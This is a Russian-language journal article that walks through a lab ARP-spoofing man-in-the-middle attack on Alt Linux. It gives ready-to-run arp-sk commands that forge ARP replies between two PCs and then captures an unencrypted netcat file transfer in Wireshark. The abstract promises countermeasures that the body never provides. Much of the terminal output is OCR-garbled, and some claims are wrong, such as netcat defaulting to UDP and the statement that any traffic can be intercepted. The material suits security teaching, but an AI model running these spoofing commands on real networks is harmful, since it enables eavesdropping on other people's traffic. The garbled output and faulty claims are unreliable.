Анализ и методика проведения перехвата сетевого трафика
Автор: Горлов А.В., Ноженко К.Э.
Журнал: Мировая наука @science-j
Рубрика: Основной раздел
Статья в выпуске: 1 (94), 2025 года.
Бесплатный доступ
В статье исследуются актуальные вызовы кибербезопасности: методы перехвата сетевых данных, их последствия для системы защиты информации и современные подходы к предотвращению несанкционированного доступа. В контексте растущего числа киберугроз особую значимость приобретает анализ таких технологий как снифферы, прокси-сервисы и атаки «man-in-the-middle». Подробно рассматриваются технические аспекты реализации подобных угроз, включая механизм перехвата данных. В фокусе также находятся реальные кейсы утечек информации, что позволяет выявить слабые места в защите. Авторы предлагают комплекс мер по снижению рисков: внедрение криптографических протоколов и передовых методов аутентификации пользователей. Статья нацелена на специалистов в области информационной безопасности, IT-экспертов и всех, кто интересуется защитой данных в цифровую эпоху.
Перехват трафика
Короткий адрес: https://sciup.org/140308839
IDR: 140308839
Текст научной статьи Анализ и методика проведения перехвата сетевого трафика
В этой статье мы рассмотрим примение пакета утилит arp-sk в ОС Альт для проведения атаки типа «man-in-the-middle».
Наша задача: получить траффик компьютера Victim с помощью компьютера Attacker.
Для этого мы будем использовать самопроизвольный arp-ответ. В протоколе arp предусмотрена возможность отправления устройством arp-запроса или ответа в случае, если такое не требуют другие устройства. Для чего это надо — например, если изменился mac-адрес маршрутизатора. В случае, если компьютер поддерживает самопроизвольный arp то он перезапишет легитимный адрес на адрес атакующего.
ARP-протокол функционирует как средство для динамического определения MAC-адресов, позволяя устройствам самостоятельно запрашивать или отвечать на запросы без необходимости привлечения других компонентов сети. Если система поддерживает автоматический ответ на ARP, происходит замена "подлинного" MAC-адреса устройства на поддельный, а именно адрес атакующего.
Спуфинг – это манипуляция с идентификационными данными сетевых адресов для несанкционированного доступа и получения преимуществ в безопасности. [1]
В контексте регулирования передачи данных, на первом уровне рассматривается применение SSH-протокола. SSH – это криптографически защищенный протокол уровня приложений, предоставляющий безопасное удаленное управление операционными системами и формирование туннелей для TCP-подсоединений. Спецификой является шифрование всего трафика. SSH поддерживает разнообразные алгоритмы шифрования. [4]
Затем мы анализируем UDP-протокол. Он является ключевым элементом в наборе сетевых протоколов Интернета. UDP позволяет приложениям отправлять сообщения между хостами IP-сети без необходимости предварительной установки соединений или специальных каналов передачи данных, обеспечивая высокую скорость и минимальную задержку.
МЕТОДОЛОГИЯ ПРОВЕДЕНИЯ ПЕРЕХВАТА ТРАФИКА
Для проведения эксперимента была выбрана ОС Альт. Рассмотрим нашу сеть. В сети. Есть 3 компьютера, все они подключены к wifi. Компьютер PC-1 будет являться в нашем случае клиентом или отправителем данных. Компьютер PC-2 выступает в роли получателя трафика. Может быть и наоборот. Также в сети присутствует третий PC-ATTACKER, он будет выступать в роли злоумышленника (man-in-the-middle), который будет пытаться перехватывать исходящий от PC-1 трафик. Перейдем к проведению эксперимента. [2]
Будем действовать от лица злоумышленника, эксперимент будет проводиться в исследовательских целях. Первым делом, мы должны убедиться, что все ПК, данные с которых мы хотим перехватить, находятся с нами в одной сети.
IrootPATTACKER J# ping 10.211.55.6
PING 10.211.55.6 (10.211.55.6) 56(84) bytes of data.
64 bytes from 10.211.55.6: icmp_seq=l ttl=64 time=0.750ms
64 bytes from 10.211.55.6: icmp_seq=2 ttl=64 time=0.687ms
64 bytes from 10.211.55.6: icmp_seq=3 ttl=64 time=0.669ms
ЛС
--- 10.211.55.6 ping statistics ---
3 packets transmitted, 3 received, Oz packet loss, time 2009ms rtt min/aug/max/mdeu = 0.669/0.702/0.750/0.034 ms
[rootPATTACKER ]# ping 192.168.0.100
PING 192.168.0.100 (192.168.0.100) 56(84) bytes of data.
64 bytes from 192.168.0.100: icmp_seq=l ttl=128 time=0.604ms
64 bytes from 192.168.0.100: icmp_seq=2 tt1=128 time=0.931ms
64 bytes from 192.168.0.100: icmp_seq=3 tt1=128 time=0.965ms
ЛС
Рисунок 1. Пинг других ПК в сети.
-
Figure 1. Ping other PCs on the network.
После того, как мы убедились, что все ПК для нас доступны, включаем протокол SSH на PC-1 и PC-2, так как, в основном он используется для передачи данных. Этот протокол является довольно защищенным, он для идентификации устройств, он использует ssh-ключи. SSH-ключи это набор символов, хранящийся в определенном файле, в директории SSH. Именно данный ключ выступает идентификатором устройства. Без данного ключа, устройство попросту не сможет обмениваться данными.
IrootPPC 1# systemctl status sshd | sshd.seruice - OpenSSH seruer daemon
Loaded: loaded (/1ib/systemd/system/sshd.seruice; disabled; uendor preset: enabled)
Actiue: actiue (running) since Sat 2025-01-04 20:08:02 MSK; 3s ago
Process: 3299 ExecStartPre=/usr/bin/ssh-keygen -A (code=exited. status=0/SUCCESS)
Process: 3300 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 3301 (sshd)
Tasks: 1 (limit: 3246)
Memory: 1.9M
CPU: 18ms
CGroup: /system.s1ice/sshd.seruice L 3301 /usr/sbin/sshd -D
Jan 04 20:08:02 PC systemdlll: Starting OpenSSH seruer daemon...
Jan 04 20:08:02 PC systemdlll: Started OpenSSH seruer daemon.
Jan 04 20:08:02 PC sshdl33011: Seruer listening on 0.0.0.0 port 22.
Jan 04 20:08:02 PC sshd133011: Seruer listening on :: port 22.
Рисунок 2. Активация протокола SSH.
-
Figure 2. Activating the SSH protocol.
Аналогично делаем на PC-2. Далее нам необходимо сгенерировать наши ключи на обоих ПК.
]# ssh-keygen -t rsa -b 4096 Generating public/priuate rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again:
SHAZ56:GPZR18SrnJID0MUnUZ31ZOZUuCFMOhUBUtF8a R/p+aQ rootPPC The key's randomart image is:
+---[RSA 40961+
I . +Z00.+ .I
I 0.00 .*o*+oI
Io . • 0+0+0.I
I . . 0.0S .+I
I + + E .I
I оI
II
II
+----[SHAZ561+
Рисунок 3. Генерация SSH-ключа на PC-1
-
Figure 3. Generating the SSH-key on PC-1.
J# ssh—keygen —t rsa —b 4096 Generating public/priuate rsa key pair. Enter file in which to save the key (zrootz.sshzid_rsa): zrootz.sshzid_rsa already exists. Overwrite (у/n)? у Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in zrootz.sshzid_rsa. Your public key has been sawed in Zrootz.sshzid_rsa.pub. The key fingerprint is: SHAZ56:dGHourIgmICZMsJtBkqYpFT1IZUzYOf00C6EAMo0U9w rootOPC-Z The key's randomart image is: *---[RSA 40961----*
I+B.O++....*.o. I IB + о .oEoo B +.I
I . + . . о. .oo=o I l=o. .o.. . I lOo . .S. .I
I0+0 . .I
Io .o. .I
I I
I .oI
+----CSHAZ561+
Рисунок 4. Генерация SSH-ключа на PC-2
-
Figure 4. Generating the SSH-key on PC-2
Теперь нам необходимо подготовить наш файл, который мы будем отправлять, назовем наш файл secret-file, и напишем внутри него кодовую фразу, которую должен получить PC-2
21+ Stopped uin /
]# nkdir zetc/net/secret
root®PC ~]#
Рисунок 5. Создание папки secret на PC-1
Figure 5. Creating the secret folder on PC-1.

Рисунок 6. Создание кодовой фразы Figure 6. Creating a passphrase.
IrootePC-2 " ssh-copy-id userPlO.211.55.6
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed — if you are prompted now it is to install the new keys userPlO.211.55.6's password:
Number of key(s) added: 1
Now try logging into the machine, with: "ssh 'userPlO.211.55.6'" and check to make sure that only the key(s) you wanted were added.
Рисунок 7. Отправляем свой ключ на другой ПК.
-
Figure 7. Send your key to another PC.
После успешной передачи ключа, система PC-2 и PC-1 обеспечивает взаимную идентификацию в рамках коммуникации посредством SSH-протокола. Теперь ПК полностью приспособлены для безопасного обмена данными.
-
1. Wireshark. Этот инструмент станет “глазами и ушами”, позволяя
-
2. ARP-SK. С помощью данной утилиты удастся осуществлять
непрерывному анализу трафика на выбранном порту.
манипуляции с mac-адресами, что открывает возможности для несанкционированного доступа в локальной сети.
Таким образом, подключив эти средства, атакующие получают полный арсенал для реализации своих планов. [5]
1# apt-get install wireshark
Reading Package Lists... Done
Building Dependency Tree... Done
Se1ect i ng и ireshark-qt5 for ' w ireshark'
The following extra packages will be installed:
Рисунок 8. Устанавливаем утилиту Wireshark
-
Figure 8. Installing the Wireshark utility.

Рисунок 9. Интерфейс Wireshark
-
Figure 9. Wireshark interface
Теперь необходимо произвести подмену адресов, для всех ПК в сети, чтобы, когда один ПК будет пытаться отправлять данные другому ПК в сети, мы могли просто получать данные прямо в наши руки. Необходимо заметить, что, для того, чтобы перехват данных был более скрытным, будет лучше подменить и наш mac-адрес. Так как, при перехвате данных, мы будем получать пакеты, а отдавать их мы не будем, поэтому, нам необходимо замаскироваться.
frootOPC ~1# arp -a
Рисунок 10. Таблица ARP до подмены на PC-1
-
Figure 10. ARP table before replacement on PC-1
[root(?PC-Z ”]# arp -a
Рисунок 11. Таблица ARP до подмены на PC-2
-
Figure 11. ARP table before replacement on PC-2
По таблицам видно, что каждый ПК видит несколько устройств в сети, одно из них наш PC-ATTACKER.
[pool^ATTACKER apt-get install arp-sk
Reading Package Lists... Done
Building Dependency Tree... Done
The following extra packages will be installed:
1 ibnetZ
The following NEU packages will be installed:
arp-sk 1 ibnetZ
0 upgraded, Z newly installed, 0 removed and 63 not upgraded.
Need to get 63.1kB of archives.
After unpacking 158kB of additional disk space will be used.
Do you want to continue? [Y/nl yes
Get:1 pl0/branch/aarch64/classie 1ibnetZ 1.1.6-altl:sisyphus+Z78100.Z700.1.1O16Z6059818 [39.0kBJ
Get:Z pl0/branch/aarch64/classie arp-sk [
Fetched 63.1kB in Is (45.1kB/s)
Committing changes...
Preparing... ййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййй [100/1
Updating / installing...
1: libnetZ-1.1.6-altl ййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййййй [ 50/]
Done.
Рисунок 12. Установка утилиты arp-sk
-
Figure 12. Installing the arp-sk utility
Суть данной утилиты в том, что с помощью нее, мы можем отправлять сообщения от лица других ip-адресов, в том числе и сообщения о смене их mac-адресов.
Используем команды:
arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:72 -S 10.211.55.5 -d 00:1C:42:40:D4:C9 -D 10.211.55.6 — данная команда отправляет сообщение PC-1 от лица нашего ПК, о том что наш mac-адрес теперь 00:1C:42:EA:8B:72
arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:72 -S 10.211.55.5 -d 00:1C:42:A3:A3:EC -D 10.211.55.7 — данная команда отправляет сообщение PC-2 от лица нашего ПК, о том что наш mac-адрес теперь 00:1C:42:EA:8B:72
arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.6 -d 00:1C:42:A3:A3:EC -D 10.211.55.7 — данная команда отправляет сообщение PC-2 от лица PC-1, о том что его mac-адрес теперь 00:1C:42:EA:8B:76 (на самом деле это наш адрес)
arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.7 -d 00:1C:42:40:D4:C9 -D 10.211.55.6 — данная команда отправляет сообщение PC-1 от лица PC-2, о том что его mac-адрес теперь 00:1C:42:EA:8B:76 (это также наш адрес)
I arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.2 -d 00:IC:42:40:D4:СЭ -D 10.211.55.6
+ Initialization of the packet structure
+ Running node "reply"
-
♦ Ifname: enp0s5
-
♦ Source MAC: 00:1c:42:ea:8b:76
-
♦ Source ARP MAC: 00:1c:42:ea:8b:76
-
♦ Source ARP IP : 10.211.55.2
-
♦ Target MAC: 00:lc:42:40:d4:c9
+ Target ARP MAC: 00:1c:42:40:d4:c9
-
♦ Target ARP IP : 10.211.55.6
-- Start classical sending --
TS: 21:21:28.536399
To: 00:1c:42:40:d4:c9 Fron: 00:1c:42:ea:8b:76 0x0806
ARP For 10.211.55.6 (00:1c:42:40:d4:c9): 10.211.55.2 is at 00:1c:42:ea:8b:76
Рисунок 13. Пример отправки ARP-сообщения
Figure 13. Example of sending an ARP message.
Далее проверяем arp-таблицу на PC-1 и PC-2
Lrooteri-Z arp -a
Рисунок 14. ARP-таблица на PC-2
Figure 14. ARP table on PC-2.
По таблице видно, что mac-адреса изменились, аналогичную картину мы будем наблюдать на PC-1.
Теперь мы готовы перехватывать трафик. Включаем утилиту Wireshark и выбираем наш единственный порт enp0s5 с mac-адресом 00:1C:42:EA:8B:76 .
Для наглядности, попробуем пропинговать ПК между собой.

Рисунок 15. Перехваченный пинг
Figure 15. Intercepted ping
Мы видим, что наш ПК перехватывает пинг и пересылает его дальше. Вся информация о полученных пакет доступна нам.
Теперь с помощью протокола SCP пробуем отправить файл с PC-1 на PC-2.
[rootPPC-2 IK scp zetc/net/secret/secret-file userPlO.211.55.6:/etc/net/secret
Рисунок 16. Отправка файла через SCP на PC-1
Figure 16. Sending a file via SCP to PC-1

Рисунок 17. Перехваченные пакеты по TCP протоколу
-
Figure 17. Intercepted packets using the TCP protocol.
Пробуем просмотреть содержимое файла и видим, что все зашифровано, по трафику в Wireshark видно, что клиент, который отправляет файл видит, что ключ не сходится и пробует создать новый.
Делаем вывод, что перехватить данные, передающиеся по SSH протоколу можно, но расшифровать их мы не можем, так как у нас нет SSH-ключа.
Попробуем произвести отправку через утилиту NETCAT, которая не будет шифровать наш файл. [3]
ErootePC ~]# nc 10.Z11.55.7 1Z345 < zetc/net/secret/secret-file
Рисунок 18. Отправка файла через NETCAT
-
Figure 18. Sending a file via NETCAT.

Рисунок 19. Перехваченный трафик
-
Figure 19. Intercepted traffic
Мы видим, что после подмены mac-адресов, произошла отправка файла по UDP протоколу, рассмотрим, передалось ли содержимое файла. Мы видим содержимое, перехват успешен.

Рисунок 20. Содержимое перехваченного файла
-
Figure 20. Contents of the intercepted file
ЗАКЛЮЧЕНИЕ
В заключение можно отметить, что перехват сетевого трафика возможен. В ходе эксперимента мы выяснили, что можно перехватить любой трафик, но остается открытым вопрос о шифровании данных. Мы рассмотрели на примере SSH и UDP протоколов перехват текстового файла. Далее мы выяснили, что перехваченный файл, передаваемый по SSH протоколу невозможно расшифровать, так как для это используются надежные методы шифрования данных. UDP протокол, в свою очередь позволяет нам получить доступ к содержимому файла. Весь эксперимент проводился в исследовательских целях.
Список литературы Анализ и методика проведения перехвата сетевого трафика
- Практика использования arp-spoofing // Хабр URL: https://habr.com/ru/articles/94122/(Дата обращения 26.12.2024).
- Команды APT // ALT Linux WIKI URL: https://www.altlinux.org/Главная_страница (Дата обращения 25.12.2024).
- Как пользоваться netcat // HackWare URL: https://hackware.ru/?p=8777 (Дата обращения 26.12.2024).
- SSH для начинающих // Хабр URL: https://habr.com/ru/articles/724762/(Дата обращения 27.12.2024).
- Основные работы в Wireshark // Дзен URL: https://dzen.ru/a/XrkjvJ2-lWSMVH3P (Дата обращения 27.12.2024).
- Уймин, А. Г. Сетевое и системное администрирование. Демонстрационный экзамен КОД 1.1 : учебно-методическое пособие для спо / А. Г. Уймин - Москва : Лань, 2022. - 480с. - ISBN 978-5-8114-9255-8.